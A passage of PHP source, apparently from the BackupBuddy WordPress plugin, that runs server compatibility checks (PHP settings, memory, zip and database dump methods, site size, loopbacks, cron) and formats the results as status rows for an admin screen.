'OK'; } array_push( $tests, $parent_class_test ); // ADDHANDLER HTACCESS CHECK $parent_class_test = array( 'title' => 'AddHandler in .htaccess', 'suggestion' => 'host dependant (none best unless required)', 'tip' => __('If detected then you may have difficulty migrating your site to some hosts without first removing the AddHandler line. Some hosts will malfunction with this line in the .htaccess file.', 'it-l10n-backupbuddy' ), ); if ( file_exists( ABSPATH . '.htaccess' ) ) { $addhandler_note = ''; $htaccess_lines = file( ABSPATH . '.htaccess' ); foreach ( $htaccess_lines as $htaccess_line ) { if ( preg_match( '/^(\s*)AddHandler(.*)/i', $htaccess_line, $matches ) > 0 ) { $addhandler_note = pb_backupbuddy::tip( htmlentities( $matches[0] ), __( 'AddHandler Value', 'it-l10n-backupbuddy' ), false ); } } unset( $htaccess_lines ); if ( $addhandler_note == '' ) { $parent_class_test['status'] = 'OK'; $parent_class_test['value'] = __('none, n/a', 'it-l10n-backupbuddy' ); } else { $parent_class_test['status'] = 'WARNING'; $parent_class_test['value'] = __('exists', 'it-l10n-backupbuddy' ) . $addhandler_note; } unset( $htaccess_contents ); } else { $parent_class_test['status'] = 'OK'; $parent_class_test['value'] = __('n/a', 'it-l10n-backupbuddy' ); } array_push( $tests, $parent_class_test ); // Set up ZipBuddy when within BackupBuddy require_once( pb_backupbuddy::plugin_path() . '/lib/zipbuddy/zipbuddy.php' ); pb_backupbuddy::$classes['zipbuddy'] = new pluginbuddy_zipbuddy( backupbuddy_core::getBackupDirectory() ); require_once( pb_backupbuddy::plugin_path() . '/lib/mysqlbuddy/mysqlbuddy.php' ); global $wpdb; pb_backupbuddy::$classes['mysqlbuddy'] = new pb_backupbuddy_mysqlbuddy( DB_HOST, DB_NAME, DB_USER, DB_PASSWORD, $wpdb->prefix ); // $database_host, $database_name, $database_user, $database_pass, $old_prefix, $force_method = array() } // PHP VERSION if ( !defined( 'pluginbuddy_importbuddy' ) ) { $php_minimum = '5.3'; //pb_backupbuddy::settings( 'php_minimum' ); } else { // importbuddy value. $php_minimum = pb_backupbuddy::settings( 'php_minimum' ); } $parent_class_test = array( 'title' => 'PHP Version', 'suggestion' => '>= ' . $php_minimum . ' (WordPress recommends 5.6+)', 'value' => phpversion(), 'tip' => __('Version of PHP currently running on this site.', 'it-l10n-backupbuddy' ), ); if ( version_compare( PHP_VERSION, $php_minimum, '<=' ) ) { $parent_class_test['status'] = 'WARNING'; } else { $parent_class_test['status'] = 'OK'; } array_push( $tests, $parent_class_test ); // PHP max_execution_time $parent_class_test = array( 'title' => 'PHP max_execution_time (server-reported)', 'suggestion' => '>= ' . '30 seconds (30+ best)', 'value' => ini_get( 'max_execution_time' ), 'tip' => __('Maximum amount of time that PHP allows scripts to run. After this limit is reached the script is killed. The more time available the better. 30 seconds is most common though 60 seconds is ideal.', 'it-l10n-backupbuddy' ), ); if ( str_ireplace( 's', '', ini_get( 'max_execution_time' ) ) < 30 ) { $parent_class_test['status'] = 'WARNING'; } else { $parent_class_test['status'] = 'OK'; } array_push( $tests, $parent_class_test ); // Maximum PHP Runtime (ACTUAL TESTED!) if ( ! defined( 'PB_IMPORTBUDDY' ) ) { if ( pb_backupbuddy::$options['tested_php_runtime'] > 0 ) { $last_tested = pb_backupbuddy::$format->date( pb_backupbuddy::$format->localize_time( pb_backupbuddy::$options['last_tested_php_runtime'] ) ) . ' (' . pb_backupbuddy::$format->time_ago( pb_backupbuddy::$options['last_tested_php_runtime'] ) . ' ' . __( 'ago', 'it-l10n-backupbuddy' ) . ')'; $tested_runtime_value = '<span id="pb_stats_run_php_runtime_test" title="Last tested: `' . $last_tested . '`">' . pb_backupbuddy::$options['tested_php_runtime'] . ' ' . __( 'secs', 'it-l10n-backupbuddy' ) . '</span>'; } else { $tested_runtime_value = '<span class="description" id="pb_stats_run_php_runtime_test">' . __( 'Pending...', 'it-l10n-backupbuddy' ) . '</span>'; } $parent_class_test = array( 'title' => 'Tested PHP Max Execution Time', 'suggestion' => '>= 30 seconds (30+ best)', 'value' => $tested_runtime_value . ' <a class="pb_backupbuddy_refresh_stats pb_backupbuddy_testPHPRuntime" rel="run_php_runtime_test" alt="' . pb_backupbuddy::ajax_url( 'run_php_runtime_test' ) . '" title="' . __('Run Test (may take several minutes)', 'it-l10n-backupbuddy' ) . '"><img src="' . pb_backupbuddy::plugin_url() . '/images/refresh_gray.gif" style="vertical-align: -1px;"> <span class="pb_backupbuddy_loading" style="display: none; margin-left: 10px;"><img src="' . pb_backupbuddy::plugin_url() . '/images/loading.gif" alt="' . __('Loading...', 'it-l10n-backupbuddy' ) . '" title="' . __('Loading...', 'it-l10n-backupbuddy' ) . '" width="16" height="16" style="vertical-align: -3px;" /></span></a>', 'tip' => __('This is the TESTED amount of time that PHP allows scripts to run. The test was performed by outputting / logging the script time elapsed once per second until PHP timed out and thus the time reported stopped. This gives a fairly accurate number compared to the reported number which is most often overriden at the server with a limit.', 'it-l10n-backupbuddy' ) . ' ' . 'This test is limited to `' . backupbuddy_constants::PHP_RUNTIME_TEST_MAX_TIME . '` seconds. Automatically rescans during housekeeping after `' . backupbuddy_constants::PHP_RUNTIME_TEST_MINIMUM_INTERVAL . '` seconds elapse between tests as well always on plugin activation.', ); if ( is_numeric( pb_backupbuddy::$options['tested_php_runtime'] ) && ( pb_backupbuddy::$options['tested_php_runtime'] < 29 ) ) { $parent_class_test['status'] = 'FAIL'; } else { $parent_class_test['status'] = 'OK'; } array_push( $tests, $parent_class_test ); } // Maximum PHP Runtime (ACTUAL TESTED!) $bb_php_max_execution = backupbuddy_core::detectMaxExecutionTime() . ' ' . __( 'secs', 'it-l10n-backupbuddy' ); // Lesser of PHP reported and tested. if ( backupbuddy_core::adjustedMaxExecutionTime() != backupbuddy_core::detectMaxExecutionTime() ) { // Takes into account user override. $bb_php_max_execution = '<strike>' . $bb_php_max_execution . '</strike> ' . __( 'Overridden in settings to:', 'it-l10n-backupbuddy' ) . ' ' . backupbuddy_core::adjustedMaxExecutionTime() . ' ' . __( 'secs', 'it-l10n-backupbuddy' ); } if ( ! defined( 'PB_IMPORTBUDDY' ) ) { $parent_class_test = array( 'title' => 'BackupBuddy PHP Max Execution Time', 'suggestion' => '>= 30 seconds (30+ best)', 'value' => $bb_php_max_execution, 'tip' => __('This is the max execution time BackupBuddy is using for chunking. It is the lesser of the values of the reported PHP execution time and actual tested execution time. If the BackupBuddy "Max time per chunk" Advanced Setting is set then that value is used instead.', 'it-l10n-backupbuddy' ), ); $parent_class_test['status'] = 'OK'; array_push( $tests, $parent_class_test ); } $phpinfo_array = phpinfo_array( 4 ); // MEMORY LIMIT $mem_limits = array(); if ( ! isset( $phpinfo_array['memory_limit'] ) ) { $parent_class_val = 'unknown'; } else { $mem_limits[] = $phpinfo_array['memory_limit'][0]; $parent_class_val = $phpinfo_array['memory_limit'][0]; if ( isset( $phpinfo_array['memory_limit'][1] ) ) { $mem_limits[] = $phpinfo_array['memory_limit'][1]; $parent_class_val .= ' (local) / ' . $phpinfo_array['memory_limit'][1]. ' (master)'; } } $parent_class_test = array( 'title' => 'Reported PHP Memory Limit', 'suggestion' => '>= 256M', 'value' => $parent_class_val, 'tip' => __('The amount of memory this site is allowed to consume. Note that some host\'s master value may override the local setting, capping it at a lower value.', 'it-l10n-backupbuddy' ), ); foreach( $mem_limits as $mem_limit ) { if ( preg_match( '/(\d+)(\w*)/', $mem_limit, $matches ) ) { $parent_class_val = $matches[1]; $unit = $matches[2]; // Up memory limit if currently lower than 256M. if ( 'g' !== strtolower( $unit ) ) { if ( ( $parent_class_val < 256 ) || ( 'm' !== strtolower( $unit ) ) ) { $parent_class_test['status'] = 'WARNING'; } else { $parent_class_test['status'] = 'OK'; } } } else { $parent_class_test['status'] = 'WARNING'; } // Once set to warning, don't process any more. if ( $parent_class_test['status'] == 'WARNING' ) { break; } } array_push( $tests, $parent_class_test ); // ERROR LOGGING ENABLED/DISABLED if ( true == ini_get( 'log_errors' ) ) { $parent_class_val = 'enabled'; } else { $parent_class_val = 'disabled'; } $parent_class_test = array( 'title' => 'PHP Error Logging (log_errors)', 'suggestion' => 'enabled', 'value' => $parent_class_val . ' [<a href="javascript:void(0)" class="pb_backupbuddy_testErrorLog" rel="' . pb_backupbuddy::ajax_url( 'testErrorLog' ) . '" title="' . __('Testing this will trigger an error_log() event with the content "BackupBuddy Test - This is only a test. A user triggered BackupBuddy to determine if writing to the PHP error log is working as expected."', 'it-l10n-backupbuddy' ) . '">Test</a>]', 'tip' => __('Whether or not PHP errors are logged to a file or not. Set by php.ini log_errors', 'it-l10n-backupbuddy' ), ); $parent_class_test['status'] = 'OK'; array_push( $tests, $parent_class_test ); // ERROR LOG FILE if ( !ini_get( 'error_log' ) ) { $parent_class_val = 'unknown'; } else { $parent_class_val = ini_get( 'error_log' ); } $parent_class_test = array( 'title' => 'PHP Error Log File (error_log)', 'suggestion' => 'n/a', 'value' => '<span style="display: inline-block; max-width: 250px;">' . $parent_class_val . '</span>', 'tip' => __('File where PHP errors are logged to if PHP Error Logging is enabled (recommended). Set by php.ini error_log', 'it-l10n-backupbuddy' ), ); $parent_class_test['status'] = 'OK'; array_push( $tests, $parent_class_test ); // DISPLAY_ERRORS SETTING if ( true == ini_get( 'display_errors' ) ) { $parent_class_val = 'enabled'; } else { $parent_class_val = 'disabled'; } $parent_class_test = array( 'title' => 'PHP Display Errors to Screen (display_errors)', 'suggestion' => 'disabled', 'value' => $parent_class_val, 'tip' => __('Whether or not PHP errors are displayed on screen to the user. This is useful for troubleshooting PHP problems but disabling by default is more secure for production. Set by php.ini display_errors', 'it-l10n-backupbuddy' ), ); $parent_class_test['status'] = 'OK'; /* if ( 'enabled' != $parent_class_val ) { $parent_class_test['status'] = 'OK'; } else { $parent_class_test['status'] = 'WARNING'; } */ array_push( $tests, $parent_class_test ); if ( defined( 'PB_IMPORTBUDDY' ) ) { if ( !isset( pb_backupbuddy::$classes['zipbuddy'] ) ) { require_once( pb_backupbuddy::plugin_path() . '/lib/zipbuddy/zipbuddy.php' ); pb_backupbuddy::$classes['zipbuddy'] = new pluginbuddy_zipbuddy( ABSPATH ); } } $zip_methods = implode( ', ', pb_backupbuddy::$classes['zipbuddy']->_zip_methods ); if ( ! defined( 'PB_IMPORTBUDDY' ) ) { $zipmethod_refresh = '<a class="pb_backupbuddy_refresh_stats" rel="refresh_zip_methods" alt="' . pb_backupbuddy::ajax_url( 'refresh_zip_methods' ) . '" title="' . __('Refresh', 'it-l10n-backupbuddy' ) . '"><img src="' . pb_backupbuddy::plugin_url() . '/images/refresh_gray.gif" style="vertical-align: -1px;"> <span class="pb_backupbuddy_loading" style="display: none; margin-left: 10px;"><img src="' . pb_backupbuddy::plugin_url() . '/images/loading.gif" alt="' . __('Loading...', 'it-l10n-backupbuddy' ) . '" title="' . __('Loading...', 'it-l10n-backupbuddy' ) . '" width="16" height="16" style="vertical-align: -3px;" /></span></a>'; } else { $zipmethod_refresh = ''; } $parent_class_test = array( 'title' => 'Zip Methods', 'suggestion' => 'Command line [fastest] > ziparchive > PHP-based (pclzip) [slowest]', 'value' => '<span id="pb_stats_refresh_zip_methods">' . $zip_methods . '</span> ' . $zipmethod_refresh, 'tip' => __('Methods your server supports for creating ZIP files. These were tested & verified to operate. Command line is magnitudes better than other methods and operates via exec() or other execution functions. ZipArchive is a PHP extension. PHP-based ZIP compression/extraction is performed via a PHP script called pclzip but it is slower and can be memory intensive.', 'it-l10n-backupbuddy' ), ); if ( in_array( 'exec', pb_backupbuddy::$classes['zipbuddy']->_zip_methods ) ) { $parent_class_test['status'] = 'OK'; } else { $parent_class_test['status'] = 'WARNING'; } array_push( $tests, $parent_class_test ); if ( !defined( 'PB_IMPORTBUDDY' ) ) { $parent_class_test = array( 'title' => 'Database Dump Methods', 'suggestion' => 'Command line and/or PHP-based', 'value' => implode( ', ', pb_backupbuddy::$classes['mysqlbuddy']->get_methods() ), 'tip' => __('Methods your server supports for dumping (backing up) your mysql database. These were tested values unless compatibility / troubleshooting settings override.', 'it-l10n-backupbuddy' ), ); $db_methods = pb_backupbuddy::$classes['mysqlbuddy']->get_methods(); if ( in_array( 'commandline', $db_methods ) || in_array( 'php', $db_methods ) ) { // PHP is considered just as good as of BB v5.0. $parent_class_test['status'] = 'OK'; } else { $parent_class_test['status'] = 'WARNING'; } array_push( $tests, $parent_class_test ); // Site Size if ( pb_backupbuddy::$options['stats']['site_size'] > 0 ) { $site_size = pb_backupbuddy::$format->file_size( pb_backupbuddy::$options['stats']['site_size'] ); } else { $site_size = '<i>Unknown</i>'; } $parent_class_test = array( 'title' => 'Site Size', 'suggestion' => 'n/a', 'value' => '<span id="pb_stats_refresh_site_size">' . $site_size . '</span> <a class="pb_backupbuddy_refresh_stats" rel="refresh_site_size" alt="' . pb_backupbuddy::ajax_url( 'refresh_site_size' ) . '" title="' . __('Refresh', 'it-l10n-backupbuddy' ) . '"><img src="' . pb_backupbuddy::plugin_url() . '/images/refresh_gray.gif" style="vertical-align: -1px;"> <span class="pb_backupbuddy_loading" style="display: none; margin-left: 10px;"><img src="' . pb_backupbuddy::plugin_url() . '/images/loading.gif" alt="' . __('Loading...', 'it-l10n-backupbuddy' ) . '" title="' . __('Loading...', 'it-l10n-backupbuddy' ) . '" width="16" height="16" style="vertical-align: -3px;" /></span></a>', 'tip' => __('Total size of your site (starting in your WordPress main directory) INCLUDING any excluded directories / files.', 'it-l10n-backupbuddy' ), ); $parent_class_test['status'] = 'OK'; array_push( $tests, $parent_class_test ); // Site size WITH EXCLUSIONS accounted for. if ( pb_backupbuddy::$options['stats']['site_size_excluded'] > 0 ) { $site_size_excluded = pb_backupbuddy::$format->file_size( pb_backupbuddy::$options['stats']['site_size_excluded'] ); } else { $site_size_excluded = '<i>Unknown</i>'; } $parent_class_test = array( 'title' => 'Site Size (Default Exclusions applied)', 'suggestion' => 'n/a', 'value' => '<span id="pb_stats_refresh_site_size_excluded">' . $site_size_excluded . '</span> <a class="pb_backupbuddy_refresh_stats" rel="refresh_site_size_excluded" alt="' . pb_backupbuddy::ajax_url( 'refresh_site_size_excluded' ) . '" title="' . __('Refresh', 'it-l10n-backupbuddy' ) . '"><img src="' . pb_backupbuddy::plugin_url() . '/images/refresh_gray.gif" style="vertical-align: -1px;"> <span class="pb_backupbuddy_loading" style="display: none; margin-left: 10px;"><img src="' . pb_backupbuddy::plugin_url() . '/images/loading.gif" alt="' . __('Loading...', 'it-l10n-backupbuddy' ) . '" title="' . __('Loading...', 'it-l10n-backupbuddy' ) . '" width="16" height="16" style="vertical-align: -3px;" /></span></a>', 'tip' => __('Total size of your site (starting in your WordPress main directory) EXCLUDING any directories / files you have marked for exclusion.', 'it-l10n-backupbuddy' ), ); $parent_class_test['status'] = 'OK'; array_push( $tests, $parent_class_test ); // Site Objects if ( isset( pb_backupbuddy::$options['stats']['site_objects'] ) && ( pb_backupbuddy::$options['stats']['site_objects'] > 0 ) ) { $site_objects = pb_backupbuddy::$options['stats']['site_objects']; } else { $site_objects = '<i>Unknown</i>'; } $parent_class_test = array( 'title' => 'Site number of files', 'suggestion' => 'n/a', 'value' => '<span id="pb_stats_refresh_objects">' . $site_objects . '</span> <a class="pb_backupbuddy_refresh_stats" rel="refresh_objects" alt="' . pb_backupbuddy::ajax_url( 'refresh_site_objects' ) . '" title="' . __('Refresh', 'it-l10n-backupbuddy' ) . '"><img src="' . pb_backupbuddy::plugin_url() . '/images/refresh_gray.gif" style="vertical-align: -1px;"> <span class="pb_backupbuddy_loading" style="display: none; margin-left: 10px;"><img src="' . pb_backupbuddy::plugin_url() . '/images/loading.gif" alt="' . __('Loading...', 'it-l10n-backupbuddy' ) . '" title="' . __('Loading...', 'it-l10n-backupbuddy' ) . '" width="16" height="16" style="vertical-align: -3px;" /></span></a>', 'tip' => __('Total number of files/folders in your site (starting in your WordPress main directory) INCLUDING any excluded directories / files.', 'it-l10n-backupbuddy' ), ); $parent_class_test['status'] = 'OK'; array_push( $tests, $parent_class_test ); // Site objects WITH EXCLUSIONS accounted for. if ( isset( pb_backupbuddy::$options['stats']['site_objects_excluded'] ) && ( pb_backupbuddy::$options['stats']['site_objects_excluded'] > 0 ) ) { $site_objects_excluded = pb_backupbuddy::$options['stats']['site_objects_excluded']; } else { $site_objects_excluded = '<i>Unknown</i>'; } $parent_class_test = array( 'title' => 'Site number of files (Default Exclusions applied)', 'suggestion' => 'n/a', 'value' => '<span id="pb_stats_refresh_objects_excluded">' . $site_objects_excluded . '</span> <a class="pb_backupbuddy_refresh_stats" rel="refresh_objects_excluded" alt="' . pb_backupbuddy::ajax_url( 'refresh_site_objects_excluded' ) . '" title="' . __('Refresh', 'it-l10n-backupbuddy' ) . '"><img src="' . pb_backupbuddy::plugin_url() . '/images/refresh_gray.gif" style="vertical-align: -1px;"> <span class="pb_backupbuddy_loading" style="display: none; margin-left: 10px;"><img src="' . pb_backupbuddy::plugin_url() . '/images/loading.gif" alt="' . __('Loading...', 'it-l10n-backupbuddy' ) . '" title="' . __('Loading...', 'it-l10n-backupbuddy' ) . '" width="16" height="16" style="vertical-align: -3px;" /></span></a>', 'tip' => __('Total number of files/folders site (starting in your WordPress main directory) EXCLUDING any directories / files you have marked for exclusion.', 'it-l10n-backupbuddy' ), ); $parent_class_test['status'] = 'OK'; array_push( $tests, $parent_class_test ); // Database Size $parent_class_test = array( 'title' => 'Database Size', 'suggestion' => 'n/a', 'value' => '<span id="pb_stats_refresh_database_size">' .pb_backupbuddy::$format->file_size( pb_backupbuddy::$options['stats']['db_size'] ) . '</span> <a class="pb_backupbuddy_refresh_stats" rel="refresh_database_size" alt="' . pb_backupbuddy::ajax_url( 'refresh_database_size' ) . '" title="' . __('Refresh', 'it-l10n-backupbuddy' ) . '"><img src="' . pb_backupbuddy::plugin_url() . '/images/refresh_gray.gif" style="vertical-align: -1px;"> <span class="pb_backupbuddy_loading" style="display: none; margin-left: 10px;"><img src="' . pb_backupbuddy::plugin_url() . '/images/loading.gif" alt="' . __('Loading...', 'it-l10n-backupbuddy' ) . '" title="' . __('Loading...', 'it-l10n-backupbuddy' ) . '" width="16" height="16" style="vertical-align: -3px;" /></span></a>', 'tip' => __('Total size of your database INCLUDING any excluded tables.', 'it-l10n-backupbuddy' ), ); $parent_class_test['status'] = 'OK'; array_push( $tests, $parent_class_test ); // Database size WITH EXCLUSIONS accounted for. $parent_class_test = array( 'title' => 'Database Size (Default Exclusions applied)', 'suggestion' => 'n/a', 'value' => '<span id="pb_stats_refresh_database_size_excluded">' . pb_backupbuddy::$format->file_size( pb_backupbuddy::$options['stats']['db_size_excluded'] ) . '</span> <a class="pb_backupbuddy_refresh_stats" rel="refresh_database_size_excluded" alt="' . pb_backupbuddy::ajax_url( 'refresh_database_size_excluded' ) . '" title="' . __('Refresh', 'it-l10n-backupbuddy' ) . '"><img src="' . pb_backupbuddy::plugin_url() . '/images/refresh_gray.gif" style="vertical-align: -1px;"> <span class="pb_backupbuddy_loading" style="display: none; margin-left: 10px;"><img src="' . pb_backupbuddy::plugin_url() . '/images/loading.gif" alt="' . __('Loading...', 'it-l10n-backupbuddy' ) . '" title="' . __('Loading...', 'it-l10n-backupbuddy' ) . '" width="16" height="16" style="vertical-align: -3px;" /></span></a>', 'tip' => __('Total size of your database EXCLUDING any tables you have marked for exclusion.', 'it-l10n-backupbuddy' ), ); $parent_class_test['status'] = 'OK'; array_push( $tests, $parent_class_test ); /***** BEGIN AVERAGE WRITE SPEED *****/ require_once( pb_backupbuddy::plugin_path() . '/classes/fileoptions.php' ); $write_speed_samples = 0; $write_speed_sum = 0; $backups = glob( backupbuddy_core::getBackupDirectory() . '*.zip' ); if ( ! is_array( $backups ) ) { $backups = array(); } foreach( $backups as $backup ) { $serial = backupbuddy_core::get_serial_from_file( $backup ); pb_backupbuddy::status( 'details', 'Fileoptions instance #22.' ); $backup_options = new pb_backupbuddy_fileoptions( backupbuddy_core::getLogDirectory() . 'fileoptions/' . $serial . '.txt', $read_only = true ); if ( true !== ( $result = $backup_options->is_ok() ) ) { pb_backupbuddy::status( 'warning', 'Unable to open fileoptions file `' . backupbuddy_core::getLogDirectory() . 'fileoptions/' . $serial . '.txt' . '`. Details: `' . $result . '`.' ); } if ( isset( $backup_options->options['integrity'] ) && isset( $backup_options->options['integrity']['size'] ) ) { $write_speed_samples++; $size = $backup_options->options['integrity']['size']; $time_taken = 0; if ( isset( $backup_options->options['steps'] ) ) { foreach( $backup_options->options['steps'] as $step ) { if ( $step['function'] == 'backup_zip_files' ) { $time_taken = $step['finish_time'] - $step['start_time']; break; } } // End foreach. } // End if steps isset. if ( $time_taken == 0 ) { //$write_speed_sum += 0; $write_speed_samples = $write_speed_samples - 1; // Ignore this sample since it's too small to count. } else { $write_speed_sum += $size / $time_taken; // Sum up write speeds. } } } if ( $write_speed_sum > 0 ) { $final_write_speed = pb_backupbuddy::$format->file_size( $write_speed_sum / $write_speed_samples ) . '/sec'; $final_write_speed_guess = pb_backupbuddy::$format->file_size( ( $write_speed_sum / $write_speed_samples ) * ini_get( 'max_execution_time' ) ); } else { $final_write_speed = '<i>Unknown</i>'; $final_write_speed_guess = '<i>Unknown</i>'; } $parent_class_test = array( 'title' => 'Average Write Speed', 'suggestion' => 'n/a', 'value' => $final_write_speed, 'tip' => __('Average ZIP file creation write speed. Backup file sizes divided by the time taken to create each. Samples: `' . $write_speed_samples . '`.', 'it-l10n-backupbuddy' ), ); $parent_class_test['status'] = 'OK'; array_push( $tests, $parent_class_test ); /***** END AVERAGE WRITE SPEED *****/ // Guess max site size to be able to backup. $parent_class_test = array( 'title' => 'Guesstimate of max ZIP size', 'suggestion' => 'n/a', 'value' => $final_write_speed_guess, 'tip' => __('Calculated estimate of the largest .ZIP backup file that may be created. As ZIP files are compressed the site size that may be backed up should be larger than this.', 'it-l10n-backupbuddy' ), ); $parent_class_test['status'] = 'OK'; array_push( $tests, $parent_class_test ); // Http loopbacks. if ( ( $loopback_response = backupbuddy_core::loopback_test() ) === true ) { $loopback_status = 'enabled'; $status = 'OK'; } else { $loopback_status = 'disabled (enable alternate cron)'; $status = 'WARNING'; } global $backupbuddy_loopback_details; $loopback_status .= ' <span title="' . htmlentities( $backupbuddy_loopback_details ) . '" style="font-style: italic;">Hover for details</span>'; $parent_class_test = array( 'title' => 'Http Loopbacks', 'suggestion' => 'enabled', 'value' => $loopback_status, 'tip' => __('Some servers do are not configured properly to allow WordPress to connect back to itself via the site URL (ie: http://your.com connects back to itself on the same server at http://your.com/ to trigger a simulated cron step). If this is the case you must either ask your hosting provider to fix this or enable WordPres Alternate Cron mode in your wp-config.php file.', 'it-l10n-backupbuddy' ), ); $parent_class_test['status'] = __( $status, 'it-l10n-backupbuddy' ); array_push( $tests, $parent_class_test ); // wp-cron.php http loopbacks. if ( ( $cronback_response = backupbuddy_core::cronback_test() ) === true ) { $cronback_status = 'enabled'; $status = 'OK'; } else { $cronback_status = 'disabled (enable alternate cron)'; $status = 'WARNING'; } global $backupbuddy_cronback_details; $cronback_status .= ' <span title="' . htmlentities( $backupbuddy_cronback_details ) . '" style="font-style: italic;">Hover for details</span>'; $parent_class_test = array( 'title' => 'wp-cron.php Loopbacks', 'suggestion' => 'enabled', 'value' => $cronback_status, 'tip' => __('Some servers do are not configured properly to allow WordPress to connect back to itself via the site URL (ie: http://your.com connects back to itself on the same server at http://your.com/ to trigger a simulated cron step). If this is the case you must either ask your hosting provider to fix this or enable WordPres Alternate Cron mode in your wp-config.php file.', 'it-l10n-backupbuddy' ), ); $parent_class_test['status'] = __( $status, 'it-l10n-backupbuddy' ); array_push( $tests, $parent_class_test ); // Http loopback URL & IP. $status = 'OK'; $parsed_url = parse_url( site_url() ); $ip = gethostbyname( $parsed_url['host'] ); $parent_class_test = array( 'title' => 'Loopback Domain & IP', 'suggestion' => 'n/a', 'value' => $parsed_url['host'] . ' => ' . $ip, 'tip' => __('Sometimes due to DNS delays the server may detect the old IP address as being associated with your site domain used in the loopback URL. This can result in loopback problems even though they may be enabled. Contact your host or wait longer if the IP address this server reports is incorrect.', 'it-l10n-backupbuddy' ), ); $parent_class_test['status'] = __( $status, 'it-l10n-backupbuddy' ); array_push( $tests, $parent_class_test ); // CRON disabled? if ( defined('DISABLE_WP_CRON') && DISABLE_WP_CRON ) { $cron_status = 'disabled'; $status = 'FAIL'; } else { $cron_status = 'enabled'; $status = 'OK'; } $parent_class_test = array( 'title' => 'WordPress Cron', 'suggestion' => 'enabled', 'value' => $cron_status, 'tip' => __( 'This check verifies that the cron system has not been disabled by the DISABLE_WP_CRON constant. This may be defined by a plugin or other method to disable the cron system which may result in automated functionality not being available.', 'it-l10n-backupbuddy' ), ); $parent_class_test['status'] = __( $status, 'it-l10n-backupbuddy' ); array_push( $tests, $parent_class_test ); // Alternate cron on? if ( defined( 'ALTERNATE_WP_CRON' ) && ( ALTERNATE_WP_CRON === true ) ) { $alternate_cron_status = 'enabled'; } else { $alternate_cron_status = 'disabled (default)'; } $parent_class_test = array( 'title' => 'WordPress Alternate Cron', 'suggestion' => 'Varies (server-dependent)', 'value' => $alternate_cron_status, 'tip' => __('Some servers do not allow sites to connect back to themselves at their own URL. WordPress and BackupBuddy make use of these "Http Loopbacks" for several things. Without them you may encounter issues. If your server needs it or you are directed by support you may enable Alternate Cron in your wp-config.php file. When enabled this setting will display "Enabled" to remind you.', 'it-l10n-backupbuddy' ), ); $parent_class_test['status'] = 'OK'; array_push( $tests, $parent_class_test ); } // End non-importbuddy tests. // DISABLED FUNCTIONS $disabled_functions = ini_get( 'disable_functions' ); if ( $disabled_functions == '' ) { $disabled_functions = '(none)'; } $parent_class_test = array( 'title' => 'Disabled PHP Functions', 'suggestion' => 'n/a', 'value' => '<textarea style="width: 100%; max-height: 200px;" disabled="disabled">' . str_replace( ',', ', ', $disabled_functions ) . '</textarea>', 'tip' => __('Some hosts block certain PHP functions for various reasons. Sometimes hosts block functions that are required for proper functioning of WordPress or plugins.', 'it-l10n-backupbuddy' ), ); $disabled_functions = str_replace( ', ', ',', $disabled_functions ); // Normalize spaces or lack of spaces between disabled functions. $disabled_functions_array = explode( ',', $disabled_functions ); $parent_class_test['status'] = 'OK'; if ( ( true === in_array( 'exec', $disabled_functions_array ) ) || ( true === in_array( 'ini_set', $disabled_functions_array ) ) ) { $parent_class_test['status'] = 'WARNING'; } array_push( $tests, $parent_class_test ); // MYSQL_CONNECT if ( is_callable( 'mysql_connect' ) ) { $parent_class_val = 'enabled'; } else { $parent_class_val = 'disabled'; } $parent_class_test = array( 'title' => 'PHP function: mysql_connect()', 'suggestion' => 'n/a', 'value' => $parent_class_val, 'tip' => __( 'Deprecated in PHP 5.5.0 and removed in PHP 7.0.0. Replaced by mysqli_connect or PDO::__construct()', 'it-l10n-backupbuddy' ), ); $parent_class_test['status'] = 'OK'; array_push( $tests, $parent_class_test ); // REGISTER GLOBALS if ( ini_get_bool( 'register_globals' ) === true ) { $parent_class_val = 'enabled'; } else { $parent_class_val = 'disabled'; } $parent_class_test = array( 'title' => 'PHP Register Globals', 'suggestion' => 'disabled', 'value' => $parent_class_val, 'tip' => __('Automatically registers user input as variables. HIGHLY discouraged. Removed from PHP in PHP 6 for security.', 'it-l10n-backupbuddy' ), ); if ( $parent_class_val != 'disabled' ) { $parent_class_test['status'] = 'FAIL'; } else { $parent_class_test['status'] = 'OK'; } array_push( $tests, $parent_class_test ); // MAGIC QUOTES GPC if ( ini_get_bool( 'magic_quotes_gpc' ) === true ) { $parent_class_val = 'enabled'; } else { $parent_class_val = 'disabled'; } $parent_class_test = array( 'title' => 'PHP Magic Quotes GPC', 'suggestion' => 'disabled', 'value' => $parent_class_val, 'tip' => __('Automatically escapes user inputted data. Not needed when using properly coded software.', 'it-l10n-backupbuddy' ), ); if ( $parent_class_val != 'disabled' ) { $parent_class_test['status'] = 'WARNING'; } else { $parent_class_test['status'] = 'OK'; } array_push( $tests, $parent_class_test ); // MAGIC QUOTES RUNTIME if ( ini_get_bool( 'magic_quotes_runtime' ) === true ) { $parent_class_val = 'enabled'; } else { $parent_class_val = 'disabled'; } $parent_class_test = array( 'title' => 'PHP Magic Quotes Runtime', 'suggestion' => 'disabled', 'value' => $parent_class_val, 'tip' => __('Automatically escapes user inputted data. Not needed when using properly coded software.', 'it-l10n-backupbuddy' ), ); if ( $parent_class_val != 'disabled' ) { $parent_class_test['status'] = 'WARNING'; } else { $parent_class_test['status'] = 'OK'; } array_push( $tests, $parent_class_test ); // SAFE MODE if ( ini_get_bool( 'safe_mode' ) === true ) { $parent_class_val = 'enabled'; } else { $parent_class_val = 'disabled'; } $parent_class_test = array( 'title' => 'PHP Safe Mode', 'suggestion' => 'disabled', 'value' => $parent_class_val, 'tip' => __('This mode is HIGHLY discouraged and is a sign of a poorly configured host.', 'it-l10n-backupbuddy' ), ); if ( $parent_class_val != 'disabled' ) { $parent_class_test['status'] = 'WARNING'; } else { $parent_class_test['status'] = 'OK'; } array_push( $tests, $parent_class_test ); // PHP API $php_api = 'Unknown'; if ( is_callable( 'php_sapi_name' ) ) { $php_api = php_sapi_name(); } $parent_class_test = array( 'title' => 'PHP API', 'suggestion' => 'n/a', 'value' => $php_api, 'tip' => __('API mode PHP is running under.', 'it-l10n-backupbuddy' ), ); $parent_class_test['status'] = 'OK'; array_push( $tests, $parent_class_test ); // PHP Bits $parent_class_test = array( 'title' => 'PHP Architecture', 'suggestion' => '64-bit', 'value' => ( PHP_INT_SIZE * 8 ) . '-bit', 'tip' => __('Whether PHP is running in 32 or 64 bit mode. 64-bit is recommended over 32-bit. Note: This only determines PHP status NOT status of other server functionality such as filesystem, command line zip, etc.', 'it-l10n-backupbuddy' ), ); $parent_class_test['status'] = 'OK'; array_push( $tests, $parent_class_test ); // http Server Software if ( isset( 